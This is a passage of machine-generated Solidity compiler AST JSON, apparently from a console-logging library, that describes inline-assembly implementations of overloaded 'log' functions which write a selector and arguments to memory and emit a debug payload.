Type":"YulIdentifier","src":"211817:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211804:6:22","nodeType":"YulIdentifier","src":"211804:6:22"},"nativeSrc":"211804:16:22","nodeType":"YulFunctionCall","src":"211804:16:22"},"nativeSrc":"211804:16:22","nodeType":"YulExpressionStatement","src":"211804:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211840:4:22","nodeType":"YulLiteral","src":"211840:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"211846:2:22","nodeType":"YulIdentifier","src":"211846:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211833:6:22","nodeType":"YulIdentifier","src":"211833:6:22"},"nativeSrc":"211833:16:22","nodeType":"YulFunctionCall","src":"211833:16:22"},"nativeSrc":"211833:16:22","nodeType":"YulExpressionStatement","src":"211833:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211869:4:22","nodeType":"YulLiteral","src":"211869:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"211875:2:22","nodeType":"YulIdentifier","src":"211875:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211862:6:22","nodeType":"YulIdentifier","src":"211862:6:22"},"nativeSrc":"211862:16:22","nodeType":"YulFunctionCall","src":"211862:16:22"},"nativeSrc":"211862:16:22","nodeType":"YulExpressionStatement","src":"211862:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211898:5:22","nodeType":"YulLiteral","src":"211898:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"211905:2:22","nodeType":"YulIdentifier","src":"211905:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211891:6:22","nodeType":"YulIdentifier","src":"211891:6:22"},"nativeSrc":"211891:17:22","nodeType":"YulFunctionCall","src":"211891:17:22"},"nativeSrc":"211891:17:22","nodeType":"YulExpressionStatement","src":"211891:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40718,"isOffset":false,"isSlot":false,"src":"211672:2:22","valueSize":1},{"declaration":40721,"isOffset":false,"isSlot":false,"src":"211701:2:22","valueSize":1},{"declaration":40724,"isOffset":false,"isSlot":false,"src":"211730:2:22","valueSize":1},{"declaration":40727,"isOffset":false,"isSlot":false,"src":"211759:2:22","valueSize":1},{"declaration":40730,"isOffset":false,"isSlot":false,"src":"211788:2:22","valueSize":1},{"declaration":40733,"isOffset":false,"isSlot":false,"src":"211817:2:22","valueSize":1},{"declaration":40736,"isOffset":false,"isSlot":false,"src":"211846:2:22","valueSize":1},{"declaration":40739,"isOffset":false,"isSlot":false,"src":"211875:2:22","valueSize":1},{"declaration":40742,"isOffset":false,"isSlot":false,"src":"211905:2:22","valueSize":1}],"id":40750,"nodeType":"InlineAssembly","src":"211636:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"210403:3:22","parameters":{"id":40715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40708,"mutability":"mutable","name":"p0","nameLocation":"210412:2:22","nodeType":"VariableDeclaration","scope":40752,"src":"210407:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40707,"name":"bool","nodeType":"ElementaryTypeName","src":"210407:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40710,"mutability":"mutable","name":"p1","nameLocation":"210424:2:22","nodeType":"VariableDeclaration","scope":40752,"src":"210416:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210416:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40712,"mutability":"mutable","name":"p2","nameLocation":"210436:2:22","nodeType":"VariableDeclaration","scope":40752,"src":"210428:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40711,"name":"address","nodeType":"ElementaryTypeName","src":"210428:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40714,"mutability":"mutable","name":"p3","nameLocation":"210448:2:22","nodeType":"VariableDeclaration","scope":40752,"src":"210440:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40713,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210440:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"210406:45:22"},"returnParameters":{"id":40716,"nodeType":"ParameterList","parameters":[],"src":"210466:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40792,"nodeType":"FunctionDefinition","src":"211930:1328:22","nodes":[],"body":{"id":40791,"nodeType":"Block","src":"211999:1259:22","nodes":[],"statements":[{"assignments":[40764],"declarations":[{"constant":false,"id":40764,"mutability":"mutable","name":"m0","nameLocation":"212017:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40763,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212009:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40765,"nodeType":"VariableDeclarationStatement","src":"212009:10:22"},{"assignments":[40767],"declarations":[{"constant":false,"id":40767,"mutability":"mutable","name":"m1","nameLocation":"212037:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40766,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40768,"nodeType":"VariableDeclarationStatement","src":"212029:10:22"},{"assignments":[40770],"declarations":[{"constant":false,"id":40770,"mutability":"mutable","name":"m2","nameLocation":"212057:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40769,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40771,"nodeType":"VariableDeclarationStatement","src":"212049:10:22"},{"assignments":[40773],"declarations":[{"constant":false,"id":40773,"mutability":"mutable","name":"m3","nameLocation":"212077:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40772,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40774,"nodeType":"VariableDeclarationStatement","src":"212069:10:22"},{"assignments":[40776],"declarations":[{"constant":false,"id":40776,"mutability":"mutable","name":"m4","nameLocation":"212097:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40775,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40777,"nodeType":"VariableDeclarationStatement","src":"212089:10:22"},{"assignments":[40779],"declarations":[{"constant":false,"id":40779,"mutability":"mutable","name":"m5","nameLocation":"212117:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40778,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212109:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40780,"nodeType":"VariableDeclarationStatement","src":"212109:10:22"},{"assignments":[40782],"declarations":[{"constant":false,"id":40782,"mutability":"mutable","name":"m6","nameLocation":"212137:2:22","nodeType":"VariableDeclaration","scope":40791,"src":"212129:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"212129:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40783,"nodeType":"VariableDeclarationStatement","src":"212129:10:22"},{"AST":{"nativeSrc":"212158:825:22","nodeType":"YulBlock","src":"212158:825:22","statements":[{"body":{"nativeSrc":"212201:313:22","nodeType":"YulBlock","src":"212201:313:22","statements":[{"nativeSrc":"212219:15:22","nodeType":"YulVariableDeclaration","src":"212219:15:22","value":{"kind":"number","nativeSrc":"212233:1:22","nodeType":"YulLiteral","src":"212233:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"212223:6:22","nodeType":"YulTypedName","src":"212223:6:22","type":""}]},{"body":{"nativeSrc":"212304:40:22","nodeType":"YulBlock","src":"212304:40:22","statements":[{"body":{"nativeSrc":"212333:9:22","nodeType":"YulBlock","src":"212333:9:22","statements":[{"nativeSrc":"212335:5:22","nodeType":"YulBreak","src":"212335:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"212321:6:22","nodeType":"YulIdentifier","src":"212321:6:22"},{"name":"w","nativeSrc":"212329:1:22","nodeType":"YulIdentifier","src":"212329:1:22"}],"functionName":{"name":"byte","nativeSrc":"212316:4:22","nodeType":"YulIdentifier","src":"212316:4:22"},"nativeSrc":"212316:15:22","nodeType":"YulFunctionCall","src":"212316:15:22"}],"functionName":{"name":"iszero","nativeSrc":"212309:6:22","nodeType":"YulIdentifier","src":"212309:6:22"},"nativeSrc":"212309:23:22","nodeType":"YulFunctionCall","src":"212309:23:22"},"nativeSrc":"212306:36:22","nodeType":"YulIf","src":"212306:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"212261:6:22","nodeType":"YulIdentifier","src":"212261:6:22"},{"kind":"number","nativeSrc":"212269:4:22","nodeType":"YulLiteral","src":"212269:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"212258:2:22","nodeType":"YulIdentifier","src":"212258:2:22"},"nativeSrc":"212258:16:22","nodeType":"YulFunctionCall","src":"212258:16:22"},"nativeSrc":"212251:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"212275:28:22","nodeType":"YulBlock","src":"212275:28:22","statements":[{"nativeSrc":"212277:24:22","nodeType":"YulAssignment","src":"212277:24:22","value":{"arguments":[{"name":"length","nativeSrc":"212291:6:22","nodeType":"YulIdentifier","src":"212291:6:22"},{"kind":"number","nativeSrc":"212299:1:22","nodeType":"YulLiteral","src":"212299:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"212287:3:22","nodeType":"YulIdentifier","src":"212287:3:22"},"nativeSrc":"212287:14:22","nodeType":"YulFunctionCall","src":"212287:14:22"},"variableNames":[{"name":"length","nativeSrc":"212277:6:22","nodeType":"YulIdentifier","src":"212277:6:22"}]}]},"pre":{"nativeSrc":"212255:2:22","nodeType":"YulBlock","src":"212255:2:22","statements":[]},"src":"212251:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"212368:3:22","nodeType":"YulIdentifier","src":"212368:3:22"},{"name":"length","nativeSrc":"212373:6:22","nodeType":"YulIdentifier","src":"212373:6:22"}],"functionName":{"name":"mstore","nativeSrc":"212361:6:22","nodeType":"YulIdentifier","src":"212361:6:22"},"nativeSrc":"212361:19:22","nodeType":"YulFunctionCall","src":"212361:19:22"},"nativeSrc":"212361:19:22","nodeType":"YulExpressionStatement","src":"212361:19:22"},{"nativeSrc":"212397:37:22","nodeType":"YulVariableDeclaration","src":"212397:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"212414:3:22","nodeType":"YulLiteral","src":"212414:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"212423:1:22","nodeType":"YulLiteral","src":"212423:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"212426:6:22","nodeType":"YulIdentifier","src":"212426:6:22"}],"functionName":{"name":"shl","nativeSrc":"212419:3:22","nodeType":"YulIdentifier","src":"212419:3:22"},"nativeSrc":"212419:14:22","nodeType":"YulFunctionCall","src":"212419:14:22"}],"functionName":{"name":"sub","nativeSrc":"212410:3:22","nodeType":"YulIdentifier","src":"212410:3:22"},"nativeSrc":"212410:24:22","nodeType":"YulFunctionCall","src":"212410:24:22"},"variables":[{"name":"shift","nativeSrc":"212401:5:22","nodeType":"YulTypedName","src":"212401:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"212462:3:22","nodeType":"YulIdentifier","src":"212462:3:22"},{"kind":"number","nativeSrc":"212467:4:22","nodeType":"YulLiteral","src":"212467:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"212458:3:22","nodeType":"YulIdentifier","src":"212458:3:22"},"nativeSrc":"212458:14:22","nodeType":"YulFunctionCall","src":"212458:14:22"},{"arguments":[{"name":"shift","nativeSrc":"212478:5:22","nodeType":"YulIdentifier","src":"212478:5:22"},{"arguments":[{"name":"shift","nativeSrc":"212489:5:22","nodeType":"YulIdentifier","src":"212489:5:22"},{"name":"w","nativeSrc":"212496:1:22","nodeType":"YulIdentifier","src":"212496:1:22"}],"functionName":{"name":"shr","nativeSrc":"212485:3:22","nodeType":"YulIdentifier","src":"212485:3:22"},"nativeSrc":"212485:13:22","nodeType":"YulFunctionCall","src":"212485:13:22"}],"functionName":{"name":"shl","nativeSrc":"212474:3:22","nodeType":"YulIdentifier","src":"212474:3:22"},"nativeSrc":"212474:25:22","nodeType":"YulFunctionCall","src":"212474:25:22"}],"functionName":{"name":"mstore","nativeSrc":"212451:6:22","nodeType":"YulIdentifier","src":"212451:6:22"},"nativeSrc":"212451:49:22","nodeType":"YulFunctionCall","src":"212451:49:22"},"nativeSrc":"212451:49:22","nodeType":"YulExpressionStatement","src":"212451:49:22"}]},"name":"writeString","nativeSrc":"212172:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"212193:3:22","nodeType":"YulTypedName","src":"212193:3:22","type":""},{"name":"w","nativeSrc":"212198:1:22","nodeType":"YulTypedName","src":"212198:1:22","type":""}],"src":"212172:342:22"},{"nativeSrc":"212527:17:22","nodeType":"YulAssignment","src":"212527:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212539:4:22","nodeType":"YulLiteral","src":"212539:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"212533:5:22","nodeType":"YulIdentifier","src":"212533:5:22"},"nativeSrc":"212533:11:22","nodeType":"YulFunctionCall","src":"212533:11:22"},"variableNames":[{"name":"m0","nativeSrc":"212527:2:22","nodeType":"YulIdentifier","src":"212527:2:22"}]},{"nativeSrc":"212557:17:22","nodeType":"YulAssignment","src":"212557:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212569:4:22","nodeType":"YulLiteral","src":"212569:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"212563:5:22","nodeType":"YulIdentifier","src":"212563:5:22"},"nativeSrc":"212563:11:22","nodeType":"YulFunctionCall","src":"212563:11:22"},"variableNames":[{"name":"m1","nativeSrc":"212557:2:22","nodeType":"YulIdentifier","src":"212557:2:22"}]},{"nativeSrc":"212587:17:22","nodeType":"YulAssignment","src":"212587:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212599:4:22","nodeType":"YulLiteral","src":"212599:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"212593:5:22","nodeType":"YulIdentifier","src":"212593:5:22"},"nativeSrc":"212593:11:22","nodeType":"YulFunctionCall","src":"212593:11:22"},"variableNames":[{"name":"m2","nativeSrc":"212587:2:22","nodeType":"YulIdentifier","src":"212587:2:22"}]},{"nativeSrc":"212617:17:22","nodeType":"YulAssignment","src":"212617:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212629:4:22","nodeType":"YulLiteral","src":"212629:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"212623:5:22","nodeType":"YulIdentifier","src":"212623:5:22"},"nativeSrc":"212623:11:22","nodeType":"YulFunctionCall","src":"212623:11:22"},"variableNames":[{"name":"m3","nativeSrc":"212617:2:22","nodeType":"YulIdentifier","src":"212617:2:22"}]},{"nativeSrc":"212647:17:22","nodeType":"YulAssignment","src":"212647:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212659:4:22","nodeType":"YulLiteral","src":"212659:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"212653:5:22","nodeType":"YulIdentifier","src":"212653:5:22"},"nativeSrc":"212653:11:22","nodeType":"YulFunctionCall","src":"212653:11:22"},"variableNames":[{"name":"m4","nativeSrc":"212647:2:22","nodeType":"YulIdentifier","src":"212647:2:22"}]},{"nativeSrc":"212677:17:22","nodeType":"YulAssignment","src":"212677:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212689:4:22","nodeType":"YulLiteral","src":"212689:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"212683:5:22","nodeType":"YulIdentifier","src":"212683:5:22"},"nativeSrc":"212683:11:22","nodeType":"YulFunctionCall","src":"212683:11:22"},"variableNames":[{"name":"m5","nativeSrc":"212677:2:22","nodeType":"YulIdentifier","src":"212677:2:22"}]},{"nativeSrc":"212707:17:22","nodeType":"YulAssignment","src":"212707:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"212719:4:22","nodeType":"YulLiteral","src":"212719:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"212713:5:22","nodeType":"YulIdentifier","src":"212713:5:22"},"nativeSrc":"212713:11:22","nodeType":"YulFunctionCall","src":"212713:11:22"},"variableNames":[{"name":"m6","nativeSrc":"212707:2:22","nodeType":"YulIdentifier","src":"212707:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212804:4:22","nodeType":"YulLiteral","src":"212804:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"212810:10:22","nodeType":"YulLiteral","src":"212810:10:22","type":"","value":"0x538e06ab"}],"functionName":{"name":"mstore","nativeSrc":"212797:6:22","nodeType":"YulIdentifier","src":"212797:6:22"},"nativeSrc":"212797:24:22","nodeType":"YulFunctionCall","src":"212797:24:22"},"nativeSrc":"212797:24:22","nodeType":"YulExpressionStatement","src":"212797:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212841:4:22","nodeType":"YulLiteral","src":"212841:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"212847:2:22","nodeType":"YulIdentifier","src":"212847:2:22"}],"functionName":{"name":"mstore","nativeSrc":"212834:6:22","nodeType":"YulIdentifier","src":"212834:6:22"},"nativeSrc":"212834:16:22","nodeType":"YulFunctionCall","src":"212834:16:22"},"nativeSrc":"212834:16:22","nodeType":"YulExpressionStatement","src":"212834:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212870:4:22","nodeType":"YulLiteral","src":"212870:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"212876:4:22","nodeType":"YulLiteral","src":"212876:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"212863:6:22","nodeType":"YulIdentifier","src":"212863:6:22"},"nativeSrc":"212863:18:22","nodeType":"YulFunctionCall","src":"212863:18:22"},"nativeSrc":"212863:18:22","nodeType":"YulExpressionStatement","src":"212863:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212901:4:22","nodeType":"YulLiteral","src":"212901:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"212907:2:22","nodeType":"YulIdentifier","src":"212907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"212894:6:22","nodeType":"YulIdentifier","src":"212894:6:22"},"nativeSrc":"212894:16:22","nodeType":"YulFunctionCall","src":"212894:16:22"},"nativeSrc":"212894:16:22","nodeType":"YulExpressionStatement","src":"212894:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212930:4:22","nodeType":"YulLiteral","src":"212930:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"212936:2:22","nodeType":"YulIdentifier","src":"212936:2:22"}],"functionName":{"name":"mstore","nativeSrc":"212923:6:22","nodeType":"YulIdentifier","src":"212923:6:22"},"nativeSrc":"212923:16:22","nodeType":"YulFunctionCall","src":"212923:16:22"},"nativeSrc":"212923:16:22","nodeType":"YulExpressionStatement","src":"212923:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"212964:4:22","nodeType":"YulLiteral","src":"212964:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"212970:2:22","nodeType":"YulIdentifier","src":"212970:2:22"}],"functionName":{"name":"writeString","nativeSrc":"212952:11:22","nodeType":"YulIdentifier","src":"212952:11:22"},"nativeSrc":"212952:21:22","nodeType":"YulFunctionCall","src":"212952:21:22"},"nativeSrc":"212952:21:22","nodeType":"YulExpressionStatement","src":"212952:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40764,"isOffset":false,"isSlot":false,"src":"212527:2:22","valueSize":1},{"declaration":40767,"isOffset":false,"isSlot":false,"src":"212557:2:22","valueSize":1},{"declaration":40770,"isOffset":false,"isSlot":false,"src":"212587:2:22","valueSize":1},{"declaration":40773,"isOffset":false,"isSlot":false,"src":"212617:2:22","valueSize":1},{"declaration":40776,"isOffset":false,"isSlot":false,"src":"212647:2:22","valueSize":1},{"declaration":40779,"isOffset":false,"isSlot":false,"src":"212677:2:22","valueSize":1},{"declaration":40782,"isOffset":false,"isSlot":false,"src":"212707:2:22","valueSize":1},{"declaration":40754,"isOffset":false,"isSlot":false,"src":"212847:2:22","valueSize":1},{"declaration":40756,"isOffset":false,"isSlot":false,"src":"212970:2:22","valueSize":1},{"declaration":40758,"isOffset":false,"isSlot":false,"src":"212907:2:22","valueSize":1},{"declaration":40760,"isOffset":false,"isSlot":false,"src":"212936:2:22","valueSize":1}],"id":40784,"nodeType":"InlineAssembly","src":"212149:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40786,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"213008:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40787,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"213014:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40785,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"212992:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"212992:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40789,"nodeType":"ExpressionStatement","src":"212992:27:22"},{"AST":{"nativeSrc":"213038:214:22","nodeType":"YulBlock","src":"213038:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"213059:4:22","nodeType":"YulLiteral","src":"213059:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"213065:2:22","nodeType":"YulIdentifier","src":"213065:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213052:6:22","nodeType":"YulIdentifier","src":"213052:6:22"},"nativeSrc":"213052:16:22","nodeType":"YulFunctionCall","src":"213052:16:22"},"nativeSrc":"213052:16:22","nodeType":"YulExpressionStatement","src":"213052:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213088:4:22","nodeType":"YulLiteral","src":"213088:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"213094:2:22","nodeType":"YulIdentifier","src":"213094:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213081:6:22","nodeType":"YulIdentifier","src":"213081:6:22"},"nativeSrc":"213081:16:22","nodeType":"YulFunctionCall","src":"213081:16:22"},"nativeSrc":"213081:16:22","nodeType":"YulExpressionStatement","src":"213081:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213117:4:22","nodeType":"YulLiteral","src":"213117:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"213123:2:22","nodeType":"YulIdentifier","src":"213123:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213110:6:22","nodeType":"YulIdentifier","src":"213110:6:22"},"nativeSrc":"213110:16:22","nodeType":"YulFunctionCall","src":"213110:16:22"},"nativeSrc":"213110:16:22","nodeType":"YulExpressionStatement","src":"213110:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213146:4:22","nodeType":"YulLiteral","src":"213146:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"213152:2:22","nodeType":"YulIdentifier","src":"213152:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213139:6:22","nodeType":"YulIdentifier","src":"213139:6:22"},"nativeSrc":"213139:16:22","nodeType":"YulFunctionCall","src":"213139:16:22"},"nativeSrc":"213139:16:22","nodeType":"YulExpressionStatement","src":"213139:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213175:4:22","nodeType":"YulLiteral","src":"213175:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"213181:2:22","nodeType":"YulIdentifier","src":"213181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213168:6:22","nodeType":"YulIdentifier","src":"213168:6:22"},"nativeSrc":"213168:16:22","nodeType":"YulFunctionCall","src":"213168:16:22"},"nativeSrc":"213168:16:22","nodeType":"YulExpressionStatement","src":"213168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213204:4:22","nodeType":"YulLiteral","src":"213204:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"213210:2:22","nodeType":"YulIdentifier","src":"213210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213197:6:22","nodeType":"YulIdentifier","src":"213197:6:22"},"nativeSrc":"213197:16:22","nodeType":"YulFunctionCall","src":"213197:16:22"},"nativeSrc":"213197:16:22","nodeType":"YulExpressionStatement","src":"213197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"213233:4:22","nodeType":"YulLiteral","src":"213233:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"213239:2:22","nodeType":"YulIdentifier","src":"213239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"213226:6:22","nodeType":"YulIdentifier","src":"213226:6:22"},"nativeSrc":"213226:16:22","nodeType":"YulFunctionCall","src":"213226:16:22"},"nativeSrc":"213226:16:22","nodeType":"YulExpressionStatement","src":"213226:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40764,"isOffset":false,"isSlot":false,"src":"213065:2:22","valueSize":1},{"declaration":40767,"isOffset":false,"isSlot":false,"src":"213094:2:22","valueSize":1},{"declaration":40770,"isOffset":false,"isSlot":false,"src":"213123:2:22","valueSize":1},{"declaration":40773,"isOffset":false,"isSlot":false,"src":"213152:2:22","valueSize":1},{"declaration":40776,"isOffset":false,"isSlot":false,"src":"213181:2:22","valueSize":1},{"declaration":40779,"isOffset":false,"isSlot":false,"src":"213210:2:22","valueSize":1},{"declaration":40782,"isOffset":false,"isSlot":false,"src":"213239:2:22","valueSize":1}],"id":40790,"nodeType":"InlineAssembly","src":"213029:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"211939:3:22","parameters":{"id":40761,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40754,"mutability":"mutable","name":"p0","nameLocation":"211948:2:22","nodeType":"VariableDeclaration","scope":40792,"src":"211943:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40753,"name":"bool","nodeType":"ElementaryTypeName","src":"211943:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40756,"mutability":"mutable","name":"p1","nameLocation":"211960:2:22","nodeType":"VariableDeclaration","scope":40792,"src":"211952:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"211952:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40758,"mutability":"mutable","name":"p2","nameLocation":"211969:2:22","nodeType":"VariableDeclaration","scope":40792,"src":"211964:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40757,"name":"bool","nodeType":"ElementaryTypeName","src":"211964:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40760,"mutability":"mutable","name":"p3","nameLocation":"211981:2:22","nodeType":"V